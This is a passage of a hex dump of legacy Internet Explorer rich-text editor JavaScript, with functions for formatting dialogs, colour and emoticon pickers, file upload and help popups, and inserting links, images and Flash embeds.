30 30 30 30 22 0D 0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62
6F 64 79 2E 73 74 79 6C 65 2E 62 61 63 6B 67 72 6F 75 6E 64 3D 22 22 0D
0A 20 20 76 61 72 20 73 74 72 78 3D 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E
74 2E 62 6F 64 79 2E 69 6E 6E 65 72 54 65 78 74 0D 0A 20 20 6F 62 6A 46
2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E 69 6E 6E 65 72 48 54 4D 4C
3D 73 74 72 78 0D 0A 20 20 66 6F 72 6D 61 74 5B 66 49 44 5D 3D 22 48 54
4D 4C 22 0D 0A 20 20 76 69 65 77 6D 5B 66 49 44 5D 3D 31 0D 0A 20 7D 0D
0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 73 65 6C 65 63
74 41 6C 6C 28 29 0D 0A 7B 20 0D 0A 20 20 76 61 72 20 6F 62 6A 46 3D 64
6F 63 75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B 0D 0A 20 20
69 66 28 21 6F 62 6A 46 29 7B 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20
63 6C 69 63 6B 20 74 6F 20 73 65 6C 65 63 74 20 74 68 65 20 65 64 69 74
6F 72 27 29 3B 72 65 74 75 72 6E 7D 0D 0A 20 20 6F 62 6A 46 2E 66 6F 63
75 73 28 29 0D 0A 20 20 76 61 72 20 73 3D 6F 62 6A 46 2E 64 6F 63 75 6D
65 6E 74 2E 62 6F 64 79 2E 63 72 65 61 74 65 54 65 78 74 52 61 6E 67 65
28 29 0D 0A 20 20 73 2E 65 78 65 63 43 6F 6D 6D 61 6E 64 28 27 53 65 6C
65 63 74 41 6C 6C 27 29 0D 0A 7D 0D 0A 0D 0A 0D 0A 0D 0A 66 75 6E 63 74
69 6F 6E 20 64 6F 46 6F 72 6D 61 74 44 69 61 6C 6F 67 28 66 69 6C 65 2C
63 6D 64 2C 61 72 67 29 0D 0A 7B 20 0D 0A 20 20 76 61 72 20 75 72 6C 78
3D 20 51 42 50 41 54 48 20 2B 20 27 2F 27 20 2B 20 66 69 6C 65 0D 0A 0D
0A 20 20 76 61 72 20 6F 62 6A 46 3D 64 6F 63 75 6D 65 6E 74 2E 66 72 61
6D 65 73 5B 66 49 44 5D 3B 0D 0A 20 20 69 66 28 21 6F 62 6A 46 29 7B 61
6C 65 72 74 28 27 50 6C 65 61 73 65 20 63 6C 69 63 6B 20 74 6F 20 73 65
6C 65 63 74 20 74 68 65 20 65 64 69 74 6F 72 27 29 3B 72 65 74 75 72 6E
7D 0D 0A 0D 0A 20 20 76 61 72 20 61 72 72 3D 73 68 6F 77 4D 6F 64 61 6C
44 69 61 6C 6F 67 28 75 72 6C 78 2C 20 61 72 67 2C 20 22 66 6F 6E 74 2D
66 61 6D 69 6C 79 3A 54 61 68 6F 6D 61 3B 20 66 6F 6E 74 2D 73 69 7A 65
3A 31 32 70 78 3B 20 64 69 61 6C 6F 67 57 69 64 74 68 3A 33 30 65 6D 3B
20 64 69 61 6C 6F 67 48 65 69 67 68 74 3A 33 34 65 6D 3B 20 65 64 67 65
3A 73 75 6E 6B 65 6E 3B 20 68 65 6C 70 3A 6E 6F 3B 20 73 74 61 74 75 73
3A 6E 6F 22 29 3B 0D 0A 20 20 69 66 28 61 72 72 20 21 3D 6E 75 6C 6C 29
20 64 6F 46 6F 72 6D 61 74 46 28 63 6D 64 2B 27 2C 27 2B 61 72 72 29 0D
0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 73 65 6C 65 63 74 45
6D 6F 74 69 63 6F 6E 28 29 0D 0A 7B 20 0D 0A 20 20 64 6F 46 6F 72 6D 61
74 44 69 61 6C 6F 67 28 27 65 6D 6F 74 69 63 6F 6E 2E 68 74 6D 6C 27 2C
27 49 6E 73 65 72 74 49 6D 61 67 65 27 2C 51 42 50 41 54 48 29 0D 0A 7D
0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 73 65 6C 65 63 74 42 67 43 6F 6C
6F 72 28 29 0D 0A 7B 20 0D 0A 20 20 64 6F 46 6F 72 6D 61 74 44 69 61 6C
6F 67 28 27 73 65 6C 63 6F 6C 6F 72 2E 68 74 6D 6C 27 2C 27 42 61 63 6B
43 6F 6C 6F 72 27 2C 27 27 29 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74
69 6F 6E 20 73 65 6C 65 63 74 46 67 43 6F 6C 6F 72 28 29 0D 0A 7B 20 0D
0A 20 20 64 6F 46 6F 72 6D 61 74 44 69 61 6C 6F 67 28 27 73 65 6C 63 6F
6C 6F 72 2E 68 74 6D 6C 27 2C 27 46 6F 72 65 43 6F 6C 6F 72 27 2C 27 27
29 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 63 68 61 72 61
63 74 65 72 73 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 6F 62 6A 46 3D 64
6F 63 75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B 0D 0A 20 20
69 66 28 21 6F 62 6A 46 29 7B 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20
63 6C 69 63 6B 20 74 6F 20 73 65 6C 65 63 74 20 74 68 65 20 65 64 69 74
6F 72 27 29 3B 72 65 74 75 72 6E 7D 0D 0A 20 20 6F 62 6A 46 2E 66 6F 63
75 73 28 29 3B 0D 0A 0D 0A 20 20 76 61 72 20 73 65 6C 20 3D 20 6F 62 6A
46 2E 64 6F 63 75 6D 65 6E 74 2E 73 65 6C 65 63 74 69 6F 6E 3B 0D 0A 20
20 69 66 28 73 65 6C 2E 74 79 70 65 3D 3D 22 43 6F 6E 74 72 6F 6C 22 29
20 72 65 74 75 72 6E 20 0D 0A 0D 0A 20 20 76 61 72 20 75 72 6C 78 3D 20
51 42 50 41 54 48 20 2B 20 27 2F 73 65 6C 63 68 61 72 2E 68 74 6D 6C 27
0D 0A 20 20 76 61 72 20 61 72 72 3D 73 68 6F 77 4D 6F 64 61 6C 44 69 61
6C 6F 67 28 75 72 6C 78 2C 20 27 27 2C 20 22 66 6F 6E 74 2D 66 61 6D 69
6C 79 3A 54 61 68 6F 6D 61 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 31 32 70
78 3B 20 64 69 61 6C 6F 67 57 69 64 74 68 3A 33 30 65 6D 3B 20 64 69 61
6C 6F 67 48 65 69 67 68 74 3A 33 34 65 6D 3B 20 65 64 67 65 3A 73 75 6E
6B 65 6E 3B 20 68 65 6C 70 3A 6E 6F 3B 20 73 74 61 74 75 73 3A 6E 6F 22
29 3B 0D 0A 20 20 69 66 28 61 72 72 3D 3D 6E 75 6C 6C 29 20 72 65 74 75
72 6E 0D 0A 0D 0A 20 20 76 61 72 20 61 72 72 41 20 3D 20 61 72 72 2E 73
70 6C 69 74 28 27 3B 51 75 49 63 4B 62 55 69 4C 64 3B 27 29 0D 0A 0D 0A
20 20 76 61 72 20 73 74 72 78 3D 20 22 3C 46 4F 4E 54 20 46 41 43 45 3D
27 22 20 2B 20 61 72 72 41 5B 30 5D 20 2B 20 22 27 3E 22 20 2B 20 61 72
72 41 5B 31 5D 20 2B 20 22 3C 2F 46 4F 4E 54 3E 22 0D 0A 0D 0A 20 20 76
61 72 20 52 61 6E 67 65 20 3D 20 73 65 6C 2E 63 72 65 61 74 65 52 61 6E
67 65 28 29 3B 0D 0A 20 20 69 66 28 21 52 61 6E 67 65 2E 64 75 70 6C 69
63 61 74 65 29 20 72 65 74 75 72 6E 3B 0D 0A 20 20 52 61 6E 67 65 2E 70
61 73 74 65 48 54 4D 4C 28 73 74 72 78 29 3B 0D 0A 0D 0A 7D 0D 0A 0D 0A
0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 64 6F 55 70 6C 6F 61 64 46 69 6C
65 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 75 72 6C 78 3D 20 51 42 50 41
54 48 20 2B 20 27 2F 63 6F 6E 74 65 6E 74 73 5F 75 70 6C 6F 61 64 2E 70
68 70 27 0D 0A 0D 0A 20 20 76 61 72 20 74 77 69 64 74 68 3D 20 30 2E 38
2A 73 63 72 65 65 6E 2E 77 69 64 74 68 2C 20 74 68 65 69 67 68 74 3D 31
39 30 3B 0D 0A 20 20 76 61 72 20 74 70 6F 73 78 3D 20 28 73 63 72 65 65
6E 2E 77 69 64 74 68 2D 20 74 77 69 64 74 68 29 2F 32 0D 0A 20 20 76 61
72 20 74 70 6F 73 79 3D 20 73 63 72 65 65 6E 2E 68 65 69 67 68 74 2D 20
74 68 65 69 67 68 74 20 2D 20 35 35 0D 0A 20 20 09 20 20 20 20 09 20 20
0D 0A 20 20 76 61 72 20 6E 65 77 57 69 6E 31 3D 77 69 6E 64 6F 77 2E 6F
70 65 6E 28 75 72 6C 78 2C 22 75 70 6C 6F 61 64 22 2C 22 74 6F 6F 6C 62
61 72 3D 6E 6F 2C 77 69 64 74 68 3D 36 30 30 2C 68 65 69 67 68 74 3D 32
35 30 2C 64 69 72 65 63 74 6F 72 69 65 73 3D 6E 6F 2C 73 74 61 74 75 73
3D 6E 6F 2C 73 63 72 6F 6C 6C 62 61 72 73 3D 79 65 73 2C 72 65 73 69 7A
61 62 6C 65 3D 6E 6F 2C 20 6D 65 6E 75 62 61 72 3D 6E 6F 22 29 0D 0A 20
20 6E 65 77 57 69 6E 31 2E 6D 6F 76 65 54 6F 28 74 70 6F 73 78 2C 74 70
6F 73 79 29 3B 0D 0A 20 20 6E 65 77 57 69 6E 31 2E 66 6F 63 75 73 28 29
0D 0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 68 65 6C 70
32 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 75 72 6C 78 3D 20 51 42 50 41
54 48 20 2B 20 27 2F 69 63 6F 6E 68 65 6C 70 2E 68 74 6D 6C 27 0D 0A 0D
0A 20 2F 2A 20 76 61 72 20 74 77 69 64 74 68 3D 20 30 2E 31 2A 73 63 72
65 65 6E 2E 77 69 64 74 68 2C 20 74 68 65 69 67 68 74 3D 33 30 30 3B 0D
0A 20 20 76 61 72 20 74 70 6F 73 78 3D 20 28 73 63 72 65 65 6E 2E 77 69
64 74 68 2D 20 74 77 69 64 74 68 29 2F 32 0D 0A 20 20 76 61 72 20 74 70
6F 73 79 3D 20 73 63 72 65 65 6E 2E 68 65 69 67 68 74 2D 20 74 68 65 69
67 68 74 20 2D 20 32 35 2A 2F 0D 0A 20 20 09 20 20 20 20 09 20 20 0D 0A
20 20 76 61 72 20 6E 65 77 57 69 6E 31 3D 77 69 6E 64 6F 77 2E 6F 70 65
6E 28 75 72 6C 78 2C 22 68 65 6C 70 22 2C 22 74 6F 6F 6C 62 61 72 3D 6E
6F 2C 77 69 64 74 68 3D 37 31 30 2C 68 65 69 67 68 74 3D 37 30 30 2C 64
69 72 65 63 74 6F 72 69 65 73 3D 6E 6F 2C 73 74 61 74 75 73 3D 6E 6F 2C
73 63 72 6F 6C 6C 62 61 72 73 3D 79 65 73 2C 72 65 73 69 7A 61 62 6C 65
3D 6E 6F 2C 20 6D 65 6E 75 62 61 72 3D 6E 6F 22 29 0D 0A 2F 2F 20 20 6E
65 77 57 69 6E 31 2E 6D 6F 76 65 54 6F 28 74 70 6F 73 78 2C 74 70 6F 73
79 29 3B 0D 0A 20 20 6E 65 77 57 69 6E 31 2E 66 6F 63 75 73 28 29 0D 0A
0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 64 6F 6C 69 6E 6B
46 69 6C 65 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 75 72 6C 78 3D 20 51
42 50 41 54 48 20 2B 20 27 2F 6C 6F 61 64 6C 69 6E 6B 67 6F 2E 70 68 70
27 0D 0A 0D 0A 20 20 76 61 72 20 74 77 69 64 74 68 3D 20 30 2E 38 2A 73
63 72 65 65 6E 2E 77 69 64 74 68 2C 20 74 68 65 69 67 68 74 3D 31 39 30
3B 0D 0A 20 20 76 61 72 20 74 70 6F 73 78 3D 20 28 73 63 72 65 65 6E 2E
77 69 64 74 68 2D 20 74 77 69 64 74 68 29 2F 32 0D 0A 20 20 76 61 72 20
74 70 6F 73 79 3D 20 73 63 72 65 65 6E 2E 68 65 69 67 68 74 2D 20 74 68
65 69 67 68 74 20 2D 20 35 35 0D 0A 20 20 09 20 20 20 20 09 20 20 0D 0A
20 20 76 61 72 20 6E 65 77 57 69 6E 31 3D 77 69 6E 64 6F 77 2E 6F 70 65
6E 28 75 72 6C 78 2C 22 6C 69 6E 6B 69 6E 73 22 2C 22 74 6F 6F 6C 62 61
72 3D 6E 6F 2C 77 69 64 74 68 3D 35 30 30 2C 68 65 69 67 68 74 3D 33 36
30 2C 64 69 72 65 63 74 6F 72 69 65 73 3D 6E 6F 2C 73 74 61 74 75 73 3D
6E 6F 2C 73 63 72 6F 6C 6C 62 61 72 73 3D 79 65 73 2C 72 65 73 69 7A 61
62 6C 65 3D 6E 6F 2C 20 6D 65 6E 75 62 61 72 3D 6E 6F 22 29 0D 0A 20 20
6E 65 77 57 69 6E 31 2E 6D 6F 76 65 54 6F 28 74 70 6F 73 78 2C 74 70 6F
73 79 29 3B 0D 0A 20 20 6E 65 77 57 69 6E 31 2E 66 6F 63 75 73 28 29 0D
0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 69 6E 73 65 72
74 4C 69 6E 6B 28 6C 69 6E 6B 75 72 6C 2C 6E 61 6D 65 6C 69 6E 6B 29 0D
0A 7B 0D 0A 20 20 76 61 72 20 6F 62 6A 46 3D 64 6F 63 75 6D 65 6E 74 2E
66 72 61 6D 65 73 5B 66 49 44 5D 3B 0D 0A 20 20 69 66 28 21 6F 62 6A 46
20 26 26 20 21 54 58 54 4F 42 4A 29 7B 61 6C 65 72 74 28 27 50 6C 65 61
73 65 20 63 6C 69 63 6B 20 61 20 74 65 78 74 20 65 6C 65 6D 65 6E 74 27
29 3B 72 65 74 75 72 6E 7D 0D 0A 0D 0A 0D 0A 20 20 69 66 28 20 6F 62 6A
46 20 29 0D 0A 20 20 7B 0D 0A 09 6F 62 6A 46 2E 66 6F 63 75 73 28 29 3B
0D 0A 20 20 20 20 76 61 72 20 73 65 6C 20 3D 20 6F 62 6A 46 2E 64 6F 63
75 6D 65 6E 74 2E 73 65 6C 65 63 74 69 6F 6E 3B 0D 0A 09 76 61 72 20 73
74 72 78 3D 20 22 3C 41 20 68 72 65 66 3D 27 22 2B 6C 69 6E 6B 75 72 6C
2B 22 27 20 74 61 72 67 65 74 3D 6E 77 69 6E 3E 22 20 2B 20 6E 61 6D 65
6C 69 6E 6B 20 2B 20 22 3C 2F 41 3E 22 0D 0A 0D 0A 09 76 61 72 20 52 61
6E 67 65 20 3D 20 73 65 6C 2E 63 72 65 61 74 65 52 61 6E 67 65 28 29 3B
0D 0A 09 69 66 28 21 52 61 6E 67 65 2E 64 75 70 6C 69 63 61 74 65 29 20
72 65 74 75 72 6E 3B 0D 0A 09 52 61 6E 67 65 2E 70 61 73 74 65 48 54 4D
4C 28 73 74 72 78 29 3B 0D 0A 20 20 7D 0D 0A 20 20 65 6C 73 65 20 0D 0A
20 20 7B 0D 0A 09 54 58 54 4F 42 4A 2E 66 6F 63 75 73 28 29 3B 0D 0A 20
20 20 20 76 61 72 20 63 61 72 65 74 3D 20 54 58 54 4F 42 4A 2E 64 6F 63
75 6D 65 6E 74 2E 73 65 6C 65 63 74 69 6F 6E 2E 63 72 65 61 74 65 52 61
6E 67 65 28 29 0D 0A 09 54 58 54 4F 42 4A 2E 63 75 72 77 6F 72 64 3D 63
61 72 65 74 2E 64 75 70 6C 69 63 61 74 65 28 29 3B 0D 0A 09 76 61 72 20
73 74 72 78 3D 20 22 3C 41 20 68 72 65 66 3D 27 22 2B 6C 69 6E 6B 75 72
6C 2B 22 27 20 74 61 72 67 65 74 3D 6E 77 69 6E 3E 22 20 2B 20 6E 61 6D
65 6C 69 6E 6B 20 2B 20 22 3C 2F 41 3E 2C 22 0D 0A 09 64 6F 46 6F 72 6D
61 74 28 73 74 72 78 2C 63 61 72 65 74 29 0D 0A 20 20 7D 0D 0A 0D 0A 0D
0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 69 6E 73 65 72 74 66
6C 61 73 68 28 69 6E 66 6C 61 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 6F 62
6A 46 3D 64 6F 63 75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B
0D 0A 20 20 69 66 28 21 6F 62 6A 46 20 26 26 20 21 54 58 54 4F 42 4A 29
7B 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20 63 6C 69 63 6B 20 61 20 74
65 78 74 20 65 6C 65 6D 65 6E 74 27 29 3B 72 65 74 75 72 6E 7D 0D 0A 0D
0A 0D 0A 20 20 69 66 28 20 6F 62 6A 46 20 29 0D 0A 20 20 7B 0D 0A 09 6F
62 6A 46 2E 66 6F 63 75 73 28 29 3B 0D 0A 20 20 20 20 76 61 72 20 73 65
6C 20 3D 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 73 65 6C 65 63 74
69 6F 6E 3B 0D 0A 09 76 61 72 20 73 74 72 78 3D 20 22 3C 6F 62 6A 65 63
74 20 20 63 6C 61 73 73 69 64 3D 63 6C 73 69 64 3A 44 32 37 43 44 42 36
45 2D 41 45 36 44 2D 31 31 63 66 2D 39 36 42 38 2D 34 34 34 35 35 33 35
34 30 30 30 30 20 63 6F 64 65 62 61 73 65 3D 68 74 74 70 3A 2F 2F 64 6F
77 6E 6C 6F 61 64 2E 6D 61 63 72 6F 6D 65 64 69 61 2E 63 6F 6D 2F 70 75
62 2F 73 68 6F 63 6B 77 61 76 65 2F 63 61 62 73 2F 66 6C 61 73 68 2F 73
77 66 6C 61 73 68 2E 63 61 62 23 76 65 72 73 69 6F 6E 3D 36 2C 30 2C 32
39 2C 30 3E 3C 70 61 72 61 6D 20 6E 61 6D 65 3D 6D 6F 76 69 65 20 76 61
6C 75 65 3D 22 2B 69 6E 66 6C 61 2B 22 3E 3C 70 61 72 61 6D 20 6E 61 6D
65 3D 71 75 61 6C 69 74 79 20 76 61 6C 75 65 3D 68 69 67 68 3E 3C 65 6D
62 65 64 20 73 72 63 3D 22 2B 69 6E 66 6C 61 2B 22 20 71 75 61 6C 69 74
79 3D 68 69 67 68 20 70 6C 75 67 69 6E 73 70 61 67 65 3D 68 74 74 70 3A
2F 2F 77 77 77 2E 6D 61 63 72 6F 6D 65 64 69 61 2E 63 6F 6D 2F 67 6F 2F
67 65 74 66 6C 61 73 68 70 6C 61 79 65 72 20 74 79 70 65 3D 61 70 70 6C
69 63 61 74 69 6F 6E 2F 78 2D 73 68 6F 63 6B 77 61 76 65 2D 66 6C 61 73
68 3E 3C 2F 65 6D 62 65 64 3E 3C 2F 6F 62 6A 65 63 74 3E 22 0D 0A 0D 0A
09 76 61 72 20 52 61 6E 67 65 20 3D 20 73 65 6C 2E 63 72 65 61 74 65 52
61 6E 67 65 28 29 3B 0D 0A 09 69 66 28 21 52 61 6E 67 65 2E 64 75 70 6C
69 63 61 74 65 29 20 72 65 74 75 72 6E 3B 0D 0A 09 52 61 6E 67 65 2E 70
61 73 74 65 48 54 4D 4C 28 73 74 72 78 29 3B 0D 0A 20 20 20 20 7D 0D 0A
20 20 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 6C 69 6E 6B 69 6E
73 28 6C 69 6E 6B 75 72 6C 2C 6C 69 6E 6B 6E 61 6D 65 29 0D 0A 7B 0D 0A
20 20 76 61 72 20 6F 62 6A 46 3D 64 6F 63 75 6D 65 6E 74 2E 66 72 61 6D
65 73 5B 66 49 44 5D 3B 0D 0A 20 20 69 66 28 21 6F 62 6A 46 20 26 26 20
21 54 58 54 4F 42 4A 29 7B 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20 63
6C 69 63 6B 20 61 20 74 65 78 74 20 65 6C 65 6D 65 6E 74 27 29 3B 72 65
74 75 72 6E 7D 0D 0A 0D 0A 0D 0A 20 20 69 66 28 20 6F 62 6A 46 20 29 0D
0A 20 20 7B 0D 0A 09 6F 62 6A 46 2E 66 6F 63 75 73 28 29 3B 0D 0A 20 20
20 20 76 61 72 20 73 65 6C 20 3D 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E
74 2E 73 65 6C 65 63 74 69 6F 6E 3B 0D 0A 09 76 61 72 20 73 74 72 78 3D
20 22 3C 41 20 68 72 65 66 3D 27 22 2B 6C 69 6E 6B 75 72 6C 2B 22 27 20
74 61 72 67 65 74 3D 5F 73 65 6C 66 3E 22 20 2B 20 6C 69 6E 6B 6E 61 6D
65 20 2B 20 22 3C 2F 41 3E 22 0D 0A 0D 0A 09 76 61 72 20 52 61 6E 67 65
20 3D 20 73 65 6C 2E 63 72 65 61 74 65 52 61 6E 67 65 28 29 3B 0D 0A 09
69 66 28 21 52 61 6E 67 65 2E 64 75 70 6C 69 63 61 74 65 29 20 72 65 74
75 72 6E 3B 0D 0A 09 52 61 6E 67 65 2E 70 61 73 74 65 48 54 4D 4C 28 73
74 72 78 29 3B 0D 0A 20 20 7D 0D 0A 20 20 65 6C 73 65 20 0D 0A 20 20 7B
0D 0A 09 54 58 54 4F 42 4A 2E 66 6F 63 75 73 28 29 3B 0D 0A 20 20 20 20
76 61 72 20 63 61 72 65 74 3D 20 54 58 54 4F 42 4A 2E 64 6F 63 75 6D 65
6E 74 2E 73 65 6C 65 63 74 69 6F 6E 2E 63 72 65 61 74 65 52 61 6E 67 65
28 29 0D 0A 09 54 58 54 4F 42 4A 2E 63 75 72 77 6F 72 64 3D 63 61 72 65
74 2E 64 75 70 6C 69 63 61 74 65 28 29 3B 0D 0A 09 76 61 72 20 73 74 72
78 3D 20 22 3C 41 20 68 72 65 66 3D 27 22 2B 6C 69 6E 6B 75 72 6C 2B 22
27 20 74 61 72 67 65 74 3D 5F 73 65 6C 66 3E 22 20 2B 20 6C 69 6E 6B 6E
61 6D 65 20 2B 20 22 3C 2F 41 3E 2C 22 0D 0A 09 64 6F 46 6F 72 6D 61 74
28 73 74 72 78 2C 63 61 72 65 74 29 0D 0A 20 20 7D 0D 0A 7D 0D 0A 0D 0A
0D 0A 66 75 6E 63 74 69 6F 6E 20 6C 69 6E 6B 69 6E 69 6D 67 28 6C 69 6E
6B 75 72 6C 2C 6C 69 6E 6B 6E 61 6D 65 29 0D 0A 7B 0D 0A 20 20 76 61 72
20 6F 62 6A 46 3D 64 6F 63 75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B 66 49
44 5D 3B 0D 0A 20 20 69 66 28 21 6F 62 6A 46 20 26 26 20 21 54 58 54 4F
42 4A 29 7B 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20 63 6C 69 63 6B 20
61 20 74 65 78 74 20 65 6C 65 6D 65 6E 74 27 29 3B 72 65 74 75 72 6E 7D
0D 0A 0D 0A 0D 0A 20 20 69 66 28 20 6F 62 6A 46 20 29 0D 0A 20 20 7B 0D
0A 09 6F 62 6A 46 2E 66 6F 63 75 73 28 29 3B 0D 0A 20 20 20 20 76 61 72
20 73 65 6C 20 3D 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 73 65 6C
65 63 74 69 6F 6E 3B 0D 0A 09 76 61 72 20 73 74 72 78 3D 20 22 3C 41 20
68 72 65 66 3D 27 22 2B 6C 69 6E 6B 75 72 6C 2B 22 27 20 74 61 72 67 65
74 3D 5F 73 65 6C 66 3E 3C 69 6D 67 20 73 72 63 3D 22 20 2B 20 6C 69 6E
6B 6E 61 6D 65 20 2B 20 22 20 62 6F 72 64 65 72 3D 30 3E 3C 2F 41 3E 22
0D 0A 0D 0A 09 76 61 72 20 52 61 6E 67 65 20 3D 20 73 65 6C 2E 63 72 65
61 74 65 52 61 6E 67 65 28 29 3B 0D 0A 09 69 66 28 21 52 61 6E 67 65 2E
64 75 70 6C 69 63 61 74 65 29 20 72 65 74 75 72 6E 3B 0D 0A 09 52 61 6E
67 65 2E 70 61 73 74 65 48 54 4D 4C 28 73 74 72 78 29 3B 0D 0A 20 20 7D
0D 0A 20 20 65 6C 73 65 20 0D 0A 20 20 7B 0D 0A 09 54 58 54 4F 42 4A 2E
66 6F 63 75 73 28 29 3B 0D 0A 20 20 20 20 76 61 72 20 63 61 72 65 74 3D
20 54 58 54 4F 42 4A 2E 64 6F 63 75 6D 65 6E 74 2E 73 65 6C 65 63 74 69
6F 6E 2E 63 72 65 61 74 65 52 61 6E 67 65 28 29 0D 0A 09 54 58 54 4F 42
4A 2E 63 75 72 77 6F 72 64 3D 63 61 72 65 74 2E 64 75 70 6C 69 63 61 74
65 28 29 3B 0D 0A 09 76 61 72 20 73 74 72 78 3D 20 22 3C 41 20 68 72 65
66 3D 27 22 2B 6C 69 6E 6B 75 72 6C 2B 22 27 20 74 61 72 67 65 74 3D 5F
73 65 6C 66 3E 3C 69 6D 67 20 73 72 63 3D 22 20 2B 20 6C 69 6E 6B 6E 61
6D 65 20 2B 20 22 20 62 6F 72 64 65 72 3D 30 3E 3C 2F 41 3E 22 0D 0A 09
64 6F 46 6F 72 6D 61 74 28 73 74 72 78 2C 63 61 72 65 74 29 0D 0A 20 20
7D 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 66 69 65 6C 64
32 66 6F 72 6D 28 73 74 72 31 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 73 74
72 32 0D 0A 20 20 76 61 72 20 69 6E 64 65 78 0D 0A 20 20 76 61 72 20 6C
65 6E 78 0D 0A 20 20 69 6E 64 65 78 3D 73 74 72 31 2E 69 6E 64 65 78 4F
66 28 27 3C 46 49 45 4C 44 53 45 54 27 29 0D 0A 20 20 77 68 69 6C 65 28
69 6E 64 65 78 3E 3D 30 29 0D 0A 20 20 7B 0D 0A 20 20 20 20 6C 65 6E 78
3D 73 74 72 31 2E 6C 65 6E 67 74 68 0D 0A 20 20 20 20 73 74 72 31 3D 73
74 72 31 2E 73 75 62 73 74 72 69 6E 67 28 30 2C 69 6E 64 65 78 29 20 2B
20 22 3C 46 4F 52 4D 22 20 2B 20 73 74 72 31 2E 73 75 62 73 74 72 69 6E
67 28 69 6E 64 65 78 2B 39 2C 6C 65 6E 78 29 0D 0A 20 20 20 20 69 6E 64
65 78 3D 73 74 72 31 2E 69 6E 64 65 78 4F 66 28 27 3C 46 49 45 4C 44 53
45 54 27 29 0D 0A 20 20 20 7D 0D 0A 20 20 69 6E 64 65 78 3D 73 74 72 31
2E 69 6E 64 65 78 4F 66 28 27 3C 2F 46 49 45 4C 44 53 45 54 3E 27 29 0D
0A 20 20 77 68 69 6C 65 28 69 6E 64 65 78 3E 3D 30 29 0D 0A 20 20 7B 0D
0A 20 20 20 20 6C 65 6E 78 3D 73 74 72 31 2E 6C 65 6E 67 74 68 0D 0A 20
20 20 20 73 74 72 31 3D 73 74 72 31 2E 73 75 62 73 74 72 69 6E 67 28 30
2C 69 6E 64 65 78 29 20 2B 20 22 3C 2F 46 4F 52 4D 3E 22 20 2B 20 73 74
72 31 2E 73 75 62 73 74 72 69 6E 67 28 69 6E 64 65 78 2B 31 31 2C 6C 65
6E 78 29 0D 0A 20 20 20 20 69 6E 64 65 78 3D 73 74 72 31 2E 69 6E 64 65
78 4F 66 28 27 3C 46 49 45 4C 44 53 45 54 3E 27 29 0D 0A 20 20 7D 0D 0A
20 20 72 65 74 75 72 6E 20 73 74 72 31 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75
6E 63 74 69 6F 6E 20 66 6F 72 6D 32 66 69 65 6C 64 28 73 74 72 31 29 0D
0A 7B 0D 0A 20 20 76 61 72 20 73 74 72 32 0D 0A 20 20 76 61 72 20 69 6E
64 65 78 0D 0A 20 20 76 61 72 20 6C 65 6E 78 0D 0A 20 20 69 6E 64 65 78
3D 73 74 72 31 2E 69 6E 64 65 78 4F 66 28 27 3C 46 4F 52 4D 27 29 0D 0A
20 20 77 68 69 6C 65 28 69 6E 64 65 78 3E 3D 30 29 0D 0A 20 20 7B 0D 0A
20 20 20 20 6C 65 6E 78 3D 73 74 72 31 2E 6C 65 6E 67 74 68 0D 0A 20 20
20 20 73 74 72 31 3D 73 74 72 31 2E 73 75 62 73 74 72 69 6E 67 28 30 2C
69 6E 64 65 78 29 20 2B 20 22 3C 46 49 45 4C 44 53 45 54 22 20 2B 20 73
74 72 31 2E 73 75 62 73 74 72 69 6E 67 28 69 6E 64 65 78 2B 35 2C 6C 65
6E 78 29 0D 0A 20 20 20 20 69 6E 64 65 78 3D 73 74 72 31 2E 69 6E 64 65
78 4F 66 28 27 3C 46 4F 52 4D 27 29 0D 0A 20 20 7D 0D 0A 20 20 69 6E 64
65 78 3D 73 74 72 31 2E 69 6E 64 65 78 4F 66 28 27 3C 2F 46 4F 52 4D 3E
27 29 0D 0A 20 20 77 68 69 6C 65 28 69 6E 64 65 78 3E 3D 30 29 0D 0A 20
20 7B 0D 0A 20 20 20 20 6C 65 6E 78 3D 73 74 72 31 2E 6C 65 6E 67 74 68
0D 0A 20 20 20 20 73 74 72 31 3D 73 74 72 31 2E 73 75 62 73 74 72 69 6E
67 28 30 2C 69 6E 64 65 78 29 20 2B 20 22 3C 2F 46 49 45 4C 44 53 45 54
3E 22 20 2B 20 73 74 72 31 2E 73 75 62 73 74 72 69 6E 67 28 69 6E 64 65
